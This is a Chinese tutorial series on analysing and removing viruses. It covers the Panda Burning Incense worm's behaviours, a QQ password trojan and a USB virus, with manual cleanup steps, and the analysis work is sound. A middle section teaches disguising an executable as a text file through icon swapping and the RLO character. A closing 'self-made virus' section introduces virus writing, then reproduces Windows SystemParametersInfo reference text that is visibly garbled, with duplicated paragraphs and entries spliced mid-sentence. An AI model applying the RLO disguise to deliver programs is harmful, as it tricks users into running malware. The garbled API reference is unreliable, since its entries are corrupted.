《病毒木馬防禦與分析》系列以真實的病毒木馬(或惡意程式)為研究對象,通過現有的技術手段對其分析,總結出它的惡意行為,進而制定出相應的應對方法,對其徹底清除。當然,因為我個人水準的有限,清除分析的病毒可能不是過于高端複雜,但對你認識病毒工作原理還是會很有幫助的,甚至最後你也可以利用c語言實作一個簡單的病毒程式。
實戰
病毒包和工具包下載下傳: Github
熊貓燒香病毒分析
如果像自己實踐記得在虛拟機下!
病毒包可以在Github倉庫找到
摘要
0. 病毒分析
病毒名稱:
武漢男生
,又名
熊貓燒香病毒
。"Worm.WhBoy.h"
- 拷貝自身到所有驅動器根目錄,命名為Setup.exe,并生成一個autorun.inf使得使用者打開該盤運作病毒,并将這兩個檔案屬性設定為隐藏、隻讀、系統。
- 無法手工修改“檔案夾選項”将隐藏檔案顯示出來。
- 在每個感染後的檔案夾中可見Desktop_ini的隐藏檔案,内容為感染日期 如:2007-4-1
- 電腦上的所有腳本檔案中加入一段代碼:
<iframe src=xxx width=”0” height=”0”></iframe>
- 中毒後的機器上常見的反病毒軟體及防火牆無法正常開啟及運作。
- 不能正常使用任務管理器及系統資料庫。
- 無故的向外發包,連接配接區域網路中其他機器。
- 感染其他應用程式的.exe檔案,并改變圖示顔色,但不會感染微軟作業系統自身的檔案。
- 删除GHOST檔案(.gho字尾),網吧、學校和機關機房深受其害。
- 禁用常見殺毒工具。
- 關閉衆多防毒軟體和安全工具。
- 循環周遊磁盤目錄,感染檔案,對關鍵系統檔案跳過。
- 感染所有EXE、SCR、PIF、COM檔案,并更改圖示為燒香熊貓。
- 感染所有.htm/.html/.asp/.php/.jsp/.aspx檔案,添加木馬惡意代碼。
- 自動删除*.gho檔案。
- 拷貝檔案
病毒運作後,會把自己拷貝到C:WINDOWSSystem32Driversspoclsv.exe
- 添加系統資料庫自啟動
病毒會添加自啟動項HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunsvcshare -> C:WINDOWSSystem32Driversspoclsv.exe
- 病毒行為
- 每隔1秒尋找桌面視窗,并關閉視窗标題中含有以下字元的程式
QQKav,QQAV,防火牆,程序,VirusScan,網镖,殺毒,毒霸,瑞星,江民,黃山IE,超級兔子,優化大師,木馬克星,木馬清道夫,QQ病毒,系統資料庫編輯器,系統配置實用程式,卡巴斯基反病毒,Symantec AntiVirus,Duba,esteem proces,綠鷹PC,密碼防盜,噬菌體,木馬輔助查找器,System Safety Monitor,Wrapped gift Killer,Winsock Expert,遊戲木馬檢測大師,msctls_statusbar32,pjf(ustc),IceSword
并使用的鍵盤映射的方法關閉安全軟體IceSword
并中止系統中以下的程序:
Mcshield.exe VsTskMgr.exe naPrdMgr.exe UpdaterUI.exe TBMon.exe scan32.exe
Ravmond.exe CCenter.exe RavTask.exe Rav.exe Ravmon.exe RavmonD.exe
RavStub.exe KVXP.kxp kvMonXP.kxp KVCenter.kxp KVSrvXP.exe KRegEx.exe UIHost.exe TrojDie.kxp
FrogAgent.exe Logo1_.exe Logo_1.exe Rundl132.exe
- 每隔18秒
點選病毒作者指定的網頁,并用指令行檢查系統中是否存在共享,存在的話就運作net share指令關閉admin$共享。
- 每隔10秒
下載下傳病毒作者指定的檔案,并用指令行檢查系統中是否存在共享共存在的話就運作net share指令關閉admin$共享。
- 每隔6秒
删除安全軟體在系統資料庫中的鍵值。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
RavTask KvMonXP kav KAVPersonal50 McAfeeUpdaterUI Network Associates Error Reporting Service ShStartEXE YLive.exe yassistse
并修改以下值不顯示隐藏檔案
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue
修改為 0x00
删除以下服務
navapsvc wscsvc KPfwSvc SNDSrvc
ccProxy ccEvtMgr ccSetMgr SPBBCSvc
Symantec Core LC NPFMntor MskService FireSvc
- 感染檔案
病毒會感染擴充名為exe,pif,com,src的檔案,把自己附加到檔案的頭部并在擴充名為htm,html, asp,php,jsp,aspx的檔案中添加一網址,使用者一旦打開了該檔案,IE就會不斷的在背景點選寫入的網址,達到增加點選量的目的,但病毒不會感染以下檔案夾名中的檔案,防止系統崩潰。
WINDOW
Winnt
System Volume Information
Recycled
Windows NT
WindowsUpdate
Windows Media Player
Outlook Express
Internet Explorer
NetMeeting
Common Files
ComPlus Applications
Messenger
InstallShield Installation Information
MSN
Microsoft Frontpage
Movie Maker
MSN Gamin Zone
在虛拟機中運作熊貓燒香病毒,記得要在xp虛拟機啊,實體機現在Windows更新檔已經免疫熊貓燒香了。

在虛拟機中我們打開任務管理器,發現剛一打開就會被關閉,這是熊貓燒香的特征之一。
右鍵一個分區,你會發現第一項不是打開,而是
Auto
,這是因為熊貓燒香病毒會在分區産生一個
autorun.inf
檔案使得使用者打開該盤運作病毒,
autorun.inf
檔案是系統,隐藏檔案。
甚至一些病毒會把Auto起名為打開,右鍵分區你會發現兩個 打卡
選項。
我們第一步就要先關閉病毒程序,排查記憶體時我們需要使用
tasklist
指令檢視可疑程序,
spoclsv.exe
就是熊貓燒香的程序名了(這個可能需要大量的積累,最好是對Windows系統程序有大量了解)。
找到後通過
taskkill /f /im PID
指令将其終止
有些病毒無論任務管理器還是taskkill指令都無法将其終止,這類病毒大多是有三個程序互相保護,有一個被終止後其他程序會立即再次啟動這個程序。
2. 查啟動項,删除病毒啟動項
将病毒從記憶體中清除之後,接下來我們要删除其服務和啟動項。
在禁用删除掉啟動項之前,我們需要先記住這個病毒的路徑,以便第三步去删除它的主體。
下圖就是熊貓燒香病毒本體的位置了,其實但看啟動項中exe路徑就能發現spoclsv服務的可疑了,它位于system32drivers下,也不是一些常見的系統服務。
到這個路徑下删除這個exe程式。
删除完exe之後我們重新開機系統,會發現現在系統中沒有spoclsv.exe這個程序了。
這時病毒還有可能會複發,因為系統還未完成修複,之前說的分區輕按兩下預設選項可能會導緻病毒程式再次運作。
我們需要将Auto選項删除,并且清理系統。
autorun.inf
就是關聯我們右鍵菜單的檔案了。
我們通過
attrib -s -h -a -r autorun.inf
來分别将
autorun.inf
和
setup.exe
隐藏屬性删除并且删除這兩個檔案。
删除之後我們輕按兩下分區打開會發現無法生效。
登出系統後,右鍵菜單恢複。
使用Process Monitor程序樹分析病毒運作後的操作。
在病毒程式啟動之前,任務管理器還可以打開。
設定Process Monitor程序過濾,程序名選擇
熊貓燒香.exe
。
過濾結果中可以看到運作的
setup.exe
程式,後面跟随有程序操作,其中操作多為
程序建立
和大量的
系統資料庫操作
打開程序樹檢視
setup.exe
程序資訊。
在程序樹中可以發現,
setup.exe
衍生出了
spoclsv.exe
。衍生出的程序又打開了兩次
cmd.exe
。第一次運作的指令是
cmd.exe /c net share C$ /del /y
,它的意思是在指令行模式下删除C槽的網絡共享,執行完後關閉cmd.exe。是以這個病毒應該是會關閉系統中所有的盤的網絡共享。第二次運作的指令是
cmd.exe /c net share admin$ /del /y
,這裡取消的是系統根目錄的共享。那麼由此就可以總結出病毒的兩點行為:
- 行為1:病毒本身建立了名為
的程序,該程序檔案的路徑為spoclsv.exe
C:\WINDOWS\system32\drivers\spoclsv.exe
- 行為2:在指令行模式下使用
指令來取消系統中的共享。net share
之後對
setup.exe
檔案操作監控分析,分析操作為
CreateFile
的
Path
,
可見,
熊貓燒香.exe
在
C:\WINDOWS\system32\drivers
中建立了
spoclsv.exe
,其它再無可疑操作,那麼可以認為,這個病毒真正的破壞部分是由
spoclsv.exe
實作的,那麼接下來的工作就是專門監控這個程序。
這裡需要将程序名為
spoclsv.exe
的程序加入篩選器進行分析。
spoclsv.exe
作為病毒主體所産生的操作會比較多。
可見病毒程序會嘗試删除大量安全類軟體的系統資料庫啟動項。
- 行為3:删除安全類軟體在系統資料庫中的啟動項。
然後隻保留
RegCreateKey
與
RegSetValue
進行分析:
可見,病毒程式為自身建立了自啟動項,詳細資訊為
Type: REG_SZ, 長度: 80, 資料: C:\WINDOWS\system32\drivers\spoclsv.exe
,使得每次啟動計算機就會執行自身,可以檢視該路徑啟動項來驗證,因為病毒程序會自動關閉任務管理器和系統資料庫,是以我們需要借助第三方工具
autorun
來檢視。
- 行為4:在系統資料庫
中建立HKCU\Software\Microsoft\Windows\CurrentVersion\Run
,用于在開機時啟動位于svcshare
的病毒程式。C:\WINDOWS\system32\drivers\spoclsv.exe
接下來還有:
對系統資料庫
KLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue
這個位置設定為
,能夠實作檔案的隐藏。此處進行設定後,即便在
檔案夾選項
中選擇
顯示所有檔案和檔案夾
,也無法顯示隐藏檔案,則有:
- 行為5:修改系統資料庫,使得隐藏檔案無法通過普通的設定進行顯示,該位置為:
,病毒将HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
的鍵值設定為了CheckedValue
接下來對
spoclsv.exe
檔案監控分析,主要看的是病毒是否将自己複制到其他目錄,或者建立删除了哪些檔案等,監控如下所示:
在圖中可以看到,病毒檔案在
C:\WINDOWS\system32\drivers
spoclsv.exe
這個檔案,在C槽和E盤根目錄下建立了
setup.exe
autorun.inf
,并且在一些目錄中建立了
Desktop_.ini
這個檔案。由于建立這些檔案之後就對系統資料庫的SHOWALL項進行了設定,使得隐藏檔案無法顯示,那麼有理由相信,所建立出來的這些檔案的屬性都是“隐藏”的,于是有:
- 行為6:将自身拷貝到根目錄,并命名為
,同時建立setup.exe
用于病毒的啟動,這兩個檔案的屬性都是autorun.inf
隐藏
- 行為7:在一些目錄中建立名為
的隐藏檔案。Desktop_.ini
最後對
spoclsv.exe
進行網絡監控分析,來檢視病毒是否有聯網動作。
從監控結果可以看到,病毒不斷嘗試連接配接
192.168.1.X
即區域網路中的其它計算機。
- 行為8:向外發包,連接配接區域網路中其他機器。
TXT病毒分析
現在很多病毒使用了各式各樣的隐藏技術。病毒編寫者往往會用複雜高深的技術來武裝自己的惡意程式,使其難以被發現難以被清除。隐藏類的病毒雖然很難發現,但危害清除往往比較簡單,如前段時間出現的
比特币敲竹杠
病毒,就是一個基于Ring3層的病毒,其特色就在于采用了一定的算法來加密目标計算機中的相應檔案,而如果沒有密碼,那麼是不可能實作解密操作的。
舉一個簡單病毒的例子,U盤病毒中檔案夾後面會出現
exe
字尾,很明顯就可以發現出了問題
這也就說明,盡管它的圖示是檔案夾的圖示,但是它本質上其實就是一個可執行程式,利用圖示的更換來将自己僞裝成一個檔案夾,這種手段還是比較古老的,也是很容易被發現的。但是如果是這樣呢?
先準備好需要僞裝的病毒和要僞裝成的檔案圖示(找不到别的圖示就隻能随便找一個用了),還有Resource Hacker工具。
用Resource Hacker打開病毒setup.exe,可以檢視到病毒圖示。
RLO
RLO
接下來修改圖示為我們自己的ico檔案。
儲存之後病毒的圖示就改變了。
下一步需要改變他的字尾名,修改為
txt
或者
png
這一步的原理是Windows提供了一個轉移字元
RLO
,隻要在一行字元前面加上它,就可以實作文本的反向排列。它是Unicode為了相容某些文字的閱讀習慣而設計的一個轉義字元。當我們加入這個字元後,進而也就實作修改字尾的效果。
那麼利用這個原理,我們就能夠實作非常多有創意的,并且頗具迷惑性的檔案名稱,再将檔案的圖示修改為對應的假的字尾名的圖示,那麼我相信,即便是資深反病毒愛好者,也很可能會落入陷阱的。
如何來實作呢?先将病毒程式名改為下圖所示,之後在
read
txt
之間添加轉義字元
RLO
插入轉義字元之後可以發現這就是一個txt程式了,隻不過沒有選好圖示,隻要僞裝成一個txt的圖示和字尾,很多人都不會防範這個病毒了。
RLO
不止可以用來修改程式字尾名,它還可以用在
系統資料庫
中,你會發現系統資料庫中有多個相同項,然而系統資料庫其實是不允許出現相同項的。
通過字元混淆的方法來影響人的直接視覺感觀,可以讓人在使用計算機過程中出現很大的問題。
對于之前的exe和txt的混淆方法,其實最好的方法就是在檔案夾中顯示檔案
類型
QQ盜号木馬清除
在總綱中我們基本介紹了手殺病毒的基本步驟,其中在程序中殺死病毒時我說過有些病毒隻有一個程序,可以直接結束其程序,但有些病毒是多程序互相守護,關閉一個之後其他守護程序會将其重新啟動。這就是病毒的一種自我保護技術,使得我們不能夠使用正常手法對其實作清除。我們需要借助兩個工具——
icesword
autoruns
,以達到清除的目的.
這是準備好的病毒樣本,autoruns是一個系統資料庫檢視工具,icesword是一個非常強大的程序管理工具,不過icesword的平台相容性很差,win10下我沒有查到可用的,隻有在xp虛拟機中使用過。
在運作病毒之前,先檢視任務管理器中目前的程序。
在運作QQ盜号木馬程式之後,可以發現程序數從
25
變為了
28
多出來的3個程序為
severe.exe
、
conime.exe
tfidma.exe
conime.exe
程序是一個重要的系統程序,它不會随系統的啟動而自動啟動,隻會在啟動指令行(cmd)才會啟動,但如果删除或者終止将導緻特殊文字的輸入困難,另外微軟新版系統中此程序不會運作,而這裡病毒則是僞造了這個程序。
嘗試利用任務管理器将這三個程序其中之一結束時,會發現被終止的程序重新被啟動了。
現在我們需要使用
icesword.exe
工具來講三個互相守護的病毒程序終止。在輕按兩下啟動
icesword.exe
時會發現這個工具并無法啟動,可以了解為是病毒将這個工具屏蔽了,我們隻需要給他改一個名字,
icesword.exe
的中文名
冰刃.exe
,之後輕按兩下啟動。
在裡面可用看到這三個程序。
點選
檔案
,選擇
建立程序規則
,
添加規則
,之後将三個程序添加進去。
再次終止程序之後發現病毒程序無法再次恢複。
接下來我們需要删除病毒的啟動項,這裡我們打開
autoruns
這個工具。
打開
autoruns
之後,初始界面
Everything
頁籤下面,很容易就發現了兩個可疑啟動項,因為它們作為可執行程式,使用了
記事本
圖示,而且名稱和路徑與之前病毒程序相似。那麼就有必要在這裡删除這三個啟動項了。選中欲删除的啟動項,然後按下
Delete
鍵即可。接下來看一下非常重要的
Image Hijacks
标簽。
可見
映像劫持
中大量軟體程序都被映射為了病毒程序,比如我們熟悉的
360safe
系統資料庫
服務配置
QQ醫生
還有
icesword.exe
。在這裡将這些系統資料庫資料删除。
還有一些其他安全項,可用自行檢視,病毒主體程式我們可用從系統資料庫啟動項中看到,去相應位置删除即可。
U盤病毒分析
目錄
前段時間去學校列印店印資料,如同往常一樣,插上我的U盤。奇怪的是這次的連接配接時間較以往長,并且還出現了
自動播放
視窗。 以前使用U盤,都沒有出現過
自動播放
的情況。不過沒有我在意,關閉了那個視窗,從
我的電腦
打開了U盤分區。但是在U盤中卻發現了奇怪的檔案:
這幾個檔案很奇怪,因為它們都是使用了檔案夾的圖示,貌似是一個檔案夾,但是在檔案名稱的後面卻跟着一個
.exe
的小尾巴。而且,我的U盤中本來确實有這四個檔案夾,但是我不記得給他們加上了
.exe
這樣的字尾名。而不帶字尾名的真實的檔案夾卻找不到了(圖檔中顯示是因為已經被我處理了)。這就讓我很是懷疑,于是分别檢視這幾個檔案的屬性。
可見這些檔案并不是檔案夾,而是應用程式,并且它們的大小一緻。看到這裡,就可以基本确定了,我的U盤是中了病毒了。
初步分析,這個病毒會将自身僞裝成我的U盤中本來存在的檔案夾,進而誘惑我去點選。那麼原始的檔案夾是被删除了還是被隐藏了呢?
選擇顯示隐藏檔案之後,那些檔案依然沒有顯示出來,這裡可用一個cmd下的指令來顯示,因為檔案的隐藏其實是基于檔案的四個屬性值。
隐藏檔案(添加四個屬性):
attrib +s +h +a +r 檔案名
顯示檔案(删除四個屬性):
attrib -s -h -a -r 檔案名
通過
attrib
指令操作隐藏的檔案無法通過正常的
顯示檔案
來顯示,這也是病毒隐藏檔案的一個常用途徑。
顯示出我們原本的檔案之後就可将
exe
程式删除了。
U盤病毒其實危害性并沒有多強,但其傳播速度與對普通人的影響卻是很大。
要編寫代碼進行快速删除也簡單,隻需要循環周遊U盤目錄,将其中子檔案進行顯示即可。代碼如下:
for /f "delims=?" %%a in ('dir /a /b') do attrib -a -s -h -r "%%a"
隻需要将這一行批處理代碼儲存為
cmd
字尾名檔案,放置U盤跟目錄,輕按兩下運作即可。
病毒自制實戰
自制病毒——控制桌面背景滑鼠以及開關機
理論知識
修改桌面背景方法
在Windows下,修改桌面背景可以使用特定的API : SystemParametersInfo
該函數也可以在設定參數中更新使用者配置檔案,這個函數還有很多其它功能,比如擷取桌面工作區的大小。
BOOL SystemParametersInfo(UINT uiAction,UINT uiParam,PVOID pvParam,UINT fWinlni);
uiAction:該參數指定要查詢或設定的系統級參數。其取值如下;
SPI_GETACCESSTIMEOUT:檢索與可通路特性相關聯的逾時段的資訊,PvParam參數必須指向某個ACCESSTIMEOUT結構以獲得資訊,并将該結構中的cbSjze成員和ulParam參數的值設為sizeof(ACCESSTIMEOUT)。
SPI_GETACTIVEWINDOWTRACKING:用于Windows 98和Windows NT 5.0及以後的版本。它表示是否打開活動視窗跟蹤(激活該視窗時滑鼠置為開狀态),pvParam參數必須指向一個BOOL型變量(打開時接收值為TRUE,關閉時為FALSE)。
SPI_GETACTIVEWNDTRKZORDER;用于Windows 98和Windows NT 5.0及以後版本。它表示通過活動視窗跟蹤開關激活的視窗是否要置于最頂層。pvParam參數必須指向一個BOOL型變量,如果要置于頂層,那麼該變量的值為TRUE,否則為FALSE。
SPI_GETACTIVEWNDTRKTIMEOUT:用于Windows 98和 Windows NT 5.0及以後版本。它訓示活動視窗跟蹤延遲量,機關為毫秒。pvParam參數必須指向DWORD類型變量,以接收時間量。
SPI_GETANIMATION:檢索與使用者活動有關的動畫效果。pvParam參數必須指向ANIMATIOINFO結構以接收資訊。并将該結構的cbSize成員和ulParam參數置為sizeof(ANIMATIONINFO)。
SPI_GETBEEP:表示警告蜂鳴器是否是打開的。pvParam參數必須指向一個BOOL類型變量,如果蜂鳴器處于打開狀态,那麼該變量的值為TRUE,否則為FALSE。
SpI_GETBORDER:檢索決定視窗邊界放大寬度的邊界放大因子。pvParam參數必須指向一個整型變量以接收該值。
SPI_GETDEFAULTINPUTLANG:傳回用于系統預設輸入語言的鍵盤布局句柄。pvParam參數必須指向一個32位變量,以接收該值。
SPI_GETCOMBOBOXANIMATION:用于Windows 98和Windows NT 5.0及以後版本。它表示用于組合櫃的動打開效果是否允許。pvParam參數必須指向一個BOOL變量,如果允許,那麼變量傳回值為TRUE,否則為FALSE。
SPI_GETDRAGFULLWINDOWS:确定是否允許拖拉到最大視窗。pvParam參數必須指向BOOL變量,如果允許,傳回值為TRUE,否則為FALSE。對于Windows 95系統,該标志隻有在安裝了Windows plus!才支援。
SPI_GETFASTTASKSWITCH:該标志已不用!以前版本的系統使用該标志來确定是否允許Alt+Tab快速任務切換。對于Windows 95、Windows 98和Windows NT 4.0版而言,快速任務切換通常是允許的。
SPI_GETLDWPOWERACTIVE:确定是否允許螢幕保護的低電壓狀态。如果允許,那麼指向BOOL變量的pvParam參數會接收到TRUE值,否則為FALSE。對于Windows 98,該标志對16位和32位應用程式都支援。 對于Windows 95,該标志隻支援16位應用程式。對于Windows NT,在Windows NT 5.0及以後版本中支援32位應用程式,對16位應用程式則不支援。
SPI_GETLOWPOWERTIMEOUT:檢索用于螢幕保護的低電壓狀态逾時值。pvParam參數必須指向一個整型變量,以接收該值。對于Windows 98該标志支援16位和32位應用程式。對于Windows95,該标志隻支援16位應用程式。對于Windows NT,該标志支援Windows NT 5.0及以後版本上的32位應用程式。不支援16位應用程式。
SPI_GETMENUDROPALIGNMENT。确定彈出式菜單相對于相應的菜單條項是左對齊,還是右對齊、參數pvParam必須指向一個BOOL類型變量,如果是左對齊。那麼該變量值為TRUE,否則為FALSE。SPI_GETMINIMIZEDMETRICS:檢索最小化視窗有關的度量資料資訊。參數pvParam必須指向MINIMIZEDMETRCS結構,以接收資訊。該結構中的cbSize和ulParam參數的值應設為sizeof(MINIMIZEDMETRICS)。
SPI_GETMOUSE:檢索滑鼠的2個門檻值和加速特性。pvParam參數必須指向一個長度為3的整型數組,分别存儲此值。
SPI_GETMOUSEHOVERHEGHT:用于Windows NT 4.0及以後版本或Windows 98。獲得在TrackMouseEvent事件中,為産生WM_MOUSEOVER消息而滑鼠指針必須停留的矩形框的高度,以像素為機關。參數pvParam必須指向一個UINT變量以接收這個高度值。
SPI_GETMOUSEHOVERTIME:用于Windows NT 4.0及以後版本、Windows 98,獲得在TrackMouseEvent事件中,為産生WM_MOUSEOVER消息而滑鼠指針必須停留在矩形框内的時間,機關為毫秒。參數pvParam必須指向一個UINT變量以接收該時間值。
SPI_GETMOUSEHOVERWIDTH:用于Windows NT 4.0及以後版本、Windows 98。獲得在TrackMouseEvent事件中,為産生WM_MOUSEOVER消息而滑鼠指針必須停留的矩形框的寬度,以像素為機關。參數pvParam必須指向一個UINT變量以接收這個寬度值。
SPI_GETMOUSEKEYS:檢索與MOUSEKEYS易用特征有關的資訊,pvParam參數必須指向某個MOUSEKEYS結構,以擷取資訊。應将結構的cbSize成員和ulParam參數設定為sizeof(MOUSEKEYS)。
SPI_GETMOUSESPEED:用于Windows NT 5.0及以後版本、Windows 98。檢索目前滑鼠速度。滑鼠速度決定了滑鼠移動多少距離,滑鼠的指針将移動多遠。參數pvParam指向一個整型變量,該變量接收1(最慢)至20(最快)之間的數值。預設值為們10。這個值可以由最終使用者使用滑鼠控制台應用程式或使用調用了SPI_SETMOUSESPEED的應用程式來設定。
SPI_GETMOUSETRAILS:用于WpvParam必須指向一個BOOL類型變量,如果是左對齊。那麼該變量值為TRUE,否則為FALSE。
SPI_GETMINIMIZEDMETRICS:檢索最小化視窗有關的度量資料資訊。參數pvParam必須指向MINIMIZEDMETRCS結構,以接收資訊。該結構中的cbSize和ulParam參數的值應設為sizeof(MINIMIZEDMETRICS)。
SPI_GETMOUSE:檢索滑鼠的2個門檻值和加速特性。pvParam參數必須指向一個長度為3的整型數組,分别存儲此值。
SPI_GETMOUSEHOVERHEGHT:用于Windows NT 4.0及以後版本或Windows 98。獲得在TrackMouseEvent事件中,為産生WM_MOUSEOVER消息而滑鼠指針必須停留的矩形框的高度,以像素為機關。參數pvParam必須指向一個UINT變量以接收這個高度值。
SPI_GETMOUSEHOVERTIME:用于Windows NT 4.0及以後版本、Windows 98,獲得在TrackMouseEvent事件中,為産生WM_MOUSEOVER消息而滑鼠指針必須停留在矩形框内的時間,機關為毫秒。參數pvParam必須指向一個UINT變量以接收該時間值。
SPI_GETMOUSEHOVERWIDTH:用于Windows NT 4.0及以後版本、Windows 98。獲得在TrackMouseEvent事件中,為産生WM_MOUSEOVER消息而滑鼠指針必須停留的矩形框的寬度,以像素為機關。參數pvParam必須指向一個UINT變量以接收這個寬度值。
SPI_GETMOUSEKEYS:檢索與MOUSEKEYS易用特征有關的資訊,pvParam參數必須指向某個MOUSEKEYS結構,以擷取資訊。應将結構的cbSize成員和ulParam參數設定為sizeof(MOUSEKEYS)。SPI_GETMOUSESPEED:用于Windows NT 5.0及以後版本、Windows 98。檢索目前滑鼠速度。滑鼠速度決定了滑鼠移動多少距離,滑鼠的指針将移動多遠。參數pvParam指向一個整型變量,該變量接收1(最慢)至20(最快)之間的數值。預設值為們10。這個值可以由最終使用者使用滑鼠控制台應用程式或使用調用了SPI_SETMOUSESPEED的應用程式來設定。
SPI_GETMOUSETRAILS:用于Windows 95及更高版本。它用來表示是否允許MouseTrails(滑鼠軌迹)。該特征通過簡單地顯示滑鼠軌迹并迅速擦除它們來改善滑鼠的可見性。參數prParam必須指向一個整型變量來接收該值。如果這個值為0或1,那麼表示禁止該特征。如果該值大于1,則說明該特征被允許,并且該值表示在滑鼠軌迹上畫出的光标數目。參數ulParam不用。
SPI_GETNONCLIENTMETRICS:檢索與非最小化視窗的非客戶區有關的度量資訊。參數pvParam必須指向NONCLIENTMETRICS結構,以便接收相應值。該結構的。cbSize成員與ulParam參數值應設為sizeof(NONCLIENTMETRICS)。對于Windows 98,該标志支援16位和32位應用程式。對于Windows 95,該标志隻支援16位應用程式。對于Windows NT該标志在NT 5.0及以後版本中支援32位應用程式,不支援16位應用程式。
SPI_GETPOWEROFFACTIVE:确定是否允許螢幕保護中關電。TRUE表示允許,FA參數pvParam必須指定SERIALKEYS結構來接收資訊。該結構中的cbSize成員和ulParam參數的值要設為sizeof(SERIALKEYS)。
SPI_GETSHOWSOUNDS:确定ShowSounds易用特性标志是開或是關。如果是開,那麼使用者需要一個應用程式來可視化地表達資訊,占則隻能以聽得見的方式來表達。參數pvParam必須指向一個BOOL類型變量。該變量在該特征處于開狀态時傳回TRUE,否則為FALSE。使用這個值等同于調用GetSystemMetrics(SM_SHOWSOUNDS)。後者是推薦使用的調用方式。
SPI_GETSNAPTODEFBUTTON:用于Windows NT 4.0及以後版本、Windows 98:确定 Snap-TO-Default-Button(轉至預設按鈕)特征是否允許。如果允許,那麼滑鼠自動移至預設按鈕上,例如對話框的"Ok"或"Apply"按鈕。pvParam參數必須指向Bool類型變量,如果該特征被允許,則該變量接收到TRUE,否則為FALSE。
SPI_GETSOUNDSENTRY:檢索與SOUNDSENTRY可通路特征有關的資訊。參數pvParam必須指向SOUNDSENTRY結構以接收資訊。該結構中的。cbSize或員和ulParam參數的值要設為sizeof(SOUNDSENTRY)。
SPI_GETSTICKYKEYS:檢索與StickyKeys易用特征有關的資訊。參數 pvParam必須指向STICKYKEYS結構以擷取資訊。該結構中的cbSze成員及ulParam參數的值須設為sizeof(STICKYKEYS)。
SPI_GETSWITCHTASKDISABLE:用于Windows NT 5.0、Windows 95及以後版本,确定是否允許Alt+Tab和AIt+Esc任務切換。參數pvParam必須指向UINT類型變量,如果禁止任務切換,那麼傳回值為1,否則為0。在預設情況下,是允許進行任務切換的。
SPI_GETTOGGLEKEYS:檢索與ToggleKeys易用特性有關的資訊。參數pvParam必須指向TOGGLEKEYS結構以擷取資訊。該結構中的cbSize成員和ulParam參數值要設定sizeof(TOGGLEKEYS)。
SPI_GETWHEELSCROLLLINES:用于Windows NT 4.0及以後版本、Windows 98。目前軌迹球轉動時,擷取滾動的行數。參數pvParam必須指向UINT類型變量以接收行數。預設值是3。
SPI_GETWINDOWSEXTENSION:在Windows 95中訓示系統中是否裝了Windows Extension和Windows Plus!。 參數ulParam應設為1。而參數pvParam則不用。如果安裝了Windows Extenson,那麼該函數傳回TRUE,否則為FALSE。
SPI_GETWORKAREA:檢索主顯示器的工作區大小。工作區是指螢幕上不被系統任務條或應用程式桌面工具遮蓋的部分。參數pvParam必須指向RECT結構以接收工作區的坐标資訊,坐标是用虛拟螢幕坐标來表示的。為了擷取非主顯示器的工作區資訊,請調用GetMonitorlnfo函數。參數ulParam指定寬度,機關是像素。
SPI_ICONVERTICALSPACING:設定圖示單元的高度。參數ulParam指定高度,機關是像素。
SPI_LANGDRIVER:未實作。
SPI_SCREENSAVERRUNNING:改名為SPI_SETSCREENSAVERRUNNING。
Spl_SETACCESSTIMEOUT:設定與可通路特性有關的時間限度值,參數 pvParam必須指向包含新參數的ACCESSTIMEOUT結構,該結構的cbSize成員與ulParam參數的值要設為sizeof(ACCESSTMEOUT)。
SPI_SETACTIVEWINDOWTRACKING:用于Windows NT 5.0及以後版本、Windows 98。設定活動視窗追蹤的開或關,如果把參數pvParam設為TRUE,則表示開。pvParam參數為FALSE時表示關。
SPI_SETACTIVEWNDTRKZORDER:用于Windows NT 5.0及以後版本、Windows 98。表示是否把通過活動視窗跟蹤而激活的視窗推至頂層。參數pvParam設為TRUE表示推至頂層,FALSE則表示不推至頂層。
SPI_SETACTIVEWNDTRKTIMEOUT:用于Wlindows NT 5.0及以後版本、Windows 98。設定活動視窗跟蹤延遲。 參數pvParam設定在用滑鼠指針激活視窗前需延遲的時間量,機關為毫秒。
SPI_SETBEEP:将警蜂器打開或關閉。參數ulParam指定為TRUE時表示打開,為FALSE時表示關閉。
SPI_SETBORDER:設定确定視窗縮放邊界的邊界放大因子。參數ulParam用來指定該值。
SPI_SETCOMBOBOXANIMATION:用于Windows NT 5.0及以後版本和Windows 98。允許或禁止組合滑動打開效果。如果設定pvParam參數為TRUE,則表示允許有傾斜效果,如果設為FALSE則表示禁止。
SPI_SETCURSORS:重置系統光标。将ulParam參數設為0并且pvParam參數設為NULL。
SPI_SETDEFAULTINPUTLANG:為系統Shell(指令行解器)和應用程式設定預設的輸入語言。指定的語言必須是可使用目前系統字元集來顯示的。pvParam參數必須指向DWORD變量,該變量包含用于預設語言的鍵盤布局句柄。
SpI_SETDESKpATTERN:通過使Windows系統從WIN.INI檔案中pattern=設定項來設定目前桌面模式。
SPI_SETDESKWALLPAPER:設定桌面桌面。pvParam參數必須指向一個包含位圖檔案名,并且以NULL(空)結束的字元串。
SPI_SETDOUBLECLICKTIME:設ulParam參數的值為目标輕按兩下時間。輕按兩下時間是指輕按兩下中的第1次和第2次點選之間的最大時間,機關為毫秒。也可以使用SetDoubleClickTime函數來設定輕按兩下時間。為擷取目前輕按兩下時間,請調用GetDoubleClickTime函數。
SPI_SETDOUBLECLKHEGHT:将ulParam參數的值設為輕按兩下矩形區域的高度。輕按兩下矩形區域是指輕按兩下中的第2次點選時滑鼠指針必須落在的區域,這樣才能記錄為輕按兩下。
SPI_SETDOUBLECLKWIDTH:将ulParam參數的值設為輕按兩下矩形區域的寬度。
SPI_SETDRAGFULLWINDOWS:設定是否允許拖至最大視窗。參數uIParam指定為TRUE時表示為允許,為FALSE則不可。對于Windows 95,該标志隻有在安裝了Windows plus!才支援。
SPI_SETDRAGHEIGHT:設定用于檢測拖拉操作起點的矩形區域的高度,機關為像素。參考GETSYSTEMMETRICS函數的nlndex參數中的SM_CXDRAG和SM_CYDRAG。
SPI_SETDRAGWIDTH:設定用于檢測拖拉操作起點的矩形區域的寬度,機關為像素。
SPI_SETFASTTASKSWITCH:該标志己不再使用。以前版本的系統使用此标志來允許或不許進行Alt+Tab快速任務切換。對于Windows 95、Windows 98和Windows NT 4.0,通常都允許進行快速任務切換。參考SPI_SETSWITCHTASKDISABLE。
